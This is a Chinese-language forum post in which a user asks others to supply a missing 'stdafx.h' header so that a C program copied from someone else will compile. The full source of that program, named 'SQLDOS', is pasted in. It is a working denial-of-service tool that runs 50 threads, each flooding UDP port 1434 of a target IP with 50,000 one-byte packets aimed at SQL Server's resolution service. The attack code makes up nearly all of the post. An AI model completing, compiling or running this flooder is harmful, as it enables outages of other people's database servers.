关于"stdafx.h"的问题,求空闲人士及高手帮我看看
我引用的别人这个C语言程序,但编译时说不能加载"stdafx.h",我知道这个头文件是预编译头文件的意思,但是在我的include文件夹里没有写这个头文件,这个估计是编程人他自己写的,麻烦大家帮我看看这个"stdafx.h"有哪些头文件,麻烦帮我写一个"stdafx.h"或者帮我列出程序里还没有写出的头文件,我自己加载进去就是了,源代码如下:这个C// SQLDOS.cpp
#include "stdafx.h"
#include <string.h>
#include <stdio.h>
void sendudp (void* v)
{
int i;
char buf[1]={’\x02’};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;
SOCKET sock;
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;
if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);
for (i=1;i<50000;i++)
//发送50000次请求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
}
closesocket(sock);
}
void useage()
{
printf("******************************************\n");
printf("SQLDOS\n");
printf("Useage: SQLDOS.exe target_ip \n");
printf("*******************************************\n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");
for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}
Sleep(500000);
WSACleanup();
printf("SQLDOS Complete.\n");
return 0;
}